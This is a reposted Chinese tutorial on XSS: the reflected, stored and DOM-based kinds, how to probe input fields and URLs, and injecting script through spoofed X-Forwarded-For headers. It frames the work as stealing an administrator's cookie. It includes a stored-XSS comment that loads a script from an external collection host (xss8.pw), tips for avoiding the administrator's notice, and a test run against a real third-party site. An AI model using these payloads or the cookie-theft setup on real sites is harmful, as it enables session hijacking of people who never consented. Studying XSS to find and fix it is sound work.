美文网首页
xss漏洞原理分析与挖掘方法

xss漏洞原理分析与挖掘方法

作者: 这是什么娃哈哈 | 来源:发表于2019-04-16 20:19 被阅读0次

    0x01 反射型xss

    反射型xss是能挖到的xss中最多的,他的原理如下:

    1.黑客发现了一个存在反射型xss的URL

    2.查看源码根据输出环境构造特定的xss代码,也会进行编码缩短代码,这个可有可无

    3.把构造的xss代码发送给受害者

    4.受害者点击后执行xss代码

    5.完成黑客想要的功能,多是获取cookie

    原理就是这么个原理,现在看一下怎么挖掘:

    很多工具都可以扫描出反射型xss,但如果想要更隐蔽,或者是某些系统不允许扫描,这个时候就要手工检测了,这也是最能练技术时候,先说一下工具扫描,常见的扫描工具有: Safe3WVS,burpsuite,AWVS,appscan,W3af

    image

    比如如下网站:

    image

    我们在账户输入处输入whoami,查看源代码,按下ctrl+f来搜索:whoami,看出现在哪个位置,来构造特定的payload

    image

    我么可以构造"> <script>alert('XSS')</script>把前面的<input闭合掉,让它执行后面的代码,构造好代码后把URL变成短链接发送给管理员,管理员点击打开获取他的cookie登录

    image

    挖掘反射型xss的方法就是这些,手工也是这个方法,只是需要自己去找存在xss漏洞的网站,手工就一句话:见框就插,改数据包中的参数,改URL中的参数,js源代码分析。

    改数据包,js源代码分析比较深就不再细说了,见框就插就比较好理解了,先在输入框输入唯一的字符串,查看源代码字符串的位置,在输入 <>""/&()看过滤了什么,根据过滤的字符来构造特定的xss代码

    0x02存储型xss

    存储型xss和反射型不同的地方在于他会把输入的数据保存在服务端,反射型输入的数据游走在客户端

    存储型xss主要存在于留言板评论区,因为最近没有挖到存储型xss,所以自己写了一个留言板用来演示:

    image

    点击留言(这里最好不要使用<script>alert("xss")</script>来测试是否存在XSS漏洞,容易被管理员发现,所以你可以使用<a></a>来测试,如果成功了,不会被管理员发现)OK,我先在留言里出输入<a>s</a>提交留言,F12打开审查元素,来看我们输入的标签是否被过滤了

    image

    发现没有过滤(如果<a>s</a>是彩色的说明没有过滤,如果是灰色就说明过滤了)

    那我就在xss平台里创建一个项目,然后再次留言,里面写上,“<script src="http://xss8.pw/EFe2Ga?1409273226"></script>我想报名“

    image

    只要管理员点击就会获取管理员cookie和后台地址

    0x03 DOM XSS

    上面两种都需要服务端的反馈来构造xss,DOM并不需要与服务端进行交互,是基于javascript的,保存如下代码为123.html

    <script>
    document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
    </script>
    

    在这里我先解释下上面的意思

    Document.write是把里面的内容写到页面里。

    document.URL是获取URL地址。

    Substring 从某处到某处,把之间的内容获取。

    document.URL.indexOf("a=")+2是在当前URL里从开头检索a=字符,然后加2(因为a=是两个字符,我们需要把他略去),同时他也是substring的开始值

    document.URL.length是获取当前URL的长度,同时也是substring的结束值。

    合起来的意思就是:在URL获取a=后面的值,然后把a=后面的值给显示出来。

    image

    怎么会出现这个问题呢?

    因为当前url并没有a=的字符,而indexOf的特性是,当获取的值里,如果没有找到自己要检索的值的话,返回-1。找到了则返回0。那么document.URL.indexOf("a=")则为-1,再加上2,得1。然后一直到URL最后。这样一来,就把file的f字符给略去了,所以才会出现ile:///C:/Users/Administrator/Desktop/1.html

    大致的原理都会了,我们继续下面的

    我们可以在123 .html,?a=123或则#a=123,只要不影响前面的路径,而且保证a=出现在URL就可以了。

    image

    我们清楚的看到我们输入的字符被显示出来了。

    那我们输入<script>alert("xss")</script>会怎么样呢?

    答案肯定是弹窗, 但是,这里没有弹框,主要是因为浏览器过滤了

    image

    0×06 挖掘XSS:

    挖掘XSS的技巧很多,各式各样,我这里就简要说明下容易出现XSS的地方。

    之前说过了修改输入框和URL参数来实现XSS。我在这里深入一点说明下。

    修改URL参数的时候,你看到的只是用GET来传输数据的,还有隐形的数据,他们是用POST来传输数据,只有在数据包里才可以看到。这里不就阐述了,不懂的可以参考之前我写的利用方法,GET和POST利用方法几乎一样。不清楚POST和GET的可以在0×01 前言里查看下我给出的链接。

    废话也不说了,下面进入正题。

    一:我们都知道当你浏览网站的时候,对方的服务器会记录下你的IP地址。如果我们伪造IP为XSS代码呢?这里说的修改IP为XSS不是说修改PC端的,而是在浏览器也就是网页上的客户端进行修改。

    这里需要使用firefox浏览器和两个附件

    附件一:X-Forwarded-For Header

    因为PHP获取IP有3个函数。而X-Forwarded-For Header就是对其中一个函数X_FORWARDED_FOR起作用,X_FORWARDED_FOR有个缺陷可以使客户端伪造任意IP,当然包括字符串,但是对其他两个函数就不行了。

    附件二:Modify Headers

    Modify Headers可以伪造数据包内容,当然也可以伪造HTTP_CLIENT_IP来更改IP。

    那还有一个REMOTE_ADDR获取IP函数,这个怎么修改呢?答案是无法修改。

    REMOTE_ADDR是由 nginx 传递给 php 的参数,所以就是当前 nginx 直接通信的客户端的 IP ,而我们无法插手。所以一旦对方使用了REMOTE_ADDR函数来获取IP,那就没办法了。不过不要紧,一共3个函数,2个函数可以伪造,我们还是有很大的成功率的。好了,开始伪造。

    image image

    伪造好后,我们打开www.ip138.com

    成功弹窗了。因为我在X-Forwarded-For Header里配置的是<script>alert("xss")</script>。而在Modify Headers配置的是<script>alert("xss2")</script>。也就是说ip138.com使用的是X_FORWARDED_FOR函数来获取IP的。但是DZ等著名CMS不存在,他们都过滤了。

    image

    参考文章:

    web前端黑客技术揭秘学习笔记-XSS漏洞挖掘 - CSDN博客

    XSS的原理分析与解剖 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客

    记一次挖掘存储型XSS漏洞过程 - 即刻安全

    转载小鸟大佬
    原贴链接:https://zhuanlan.zhihu.com/p/35315167

    相关文章

      网友评论

          本文标题:xss漏洞原理分析与挖掘方法

          本文链接:https://www.haomeiwen.com/subject/swmiwqtx.html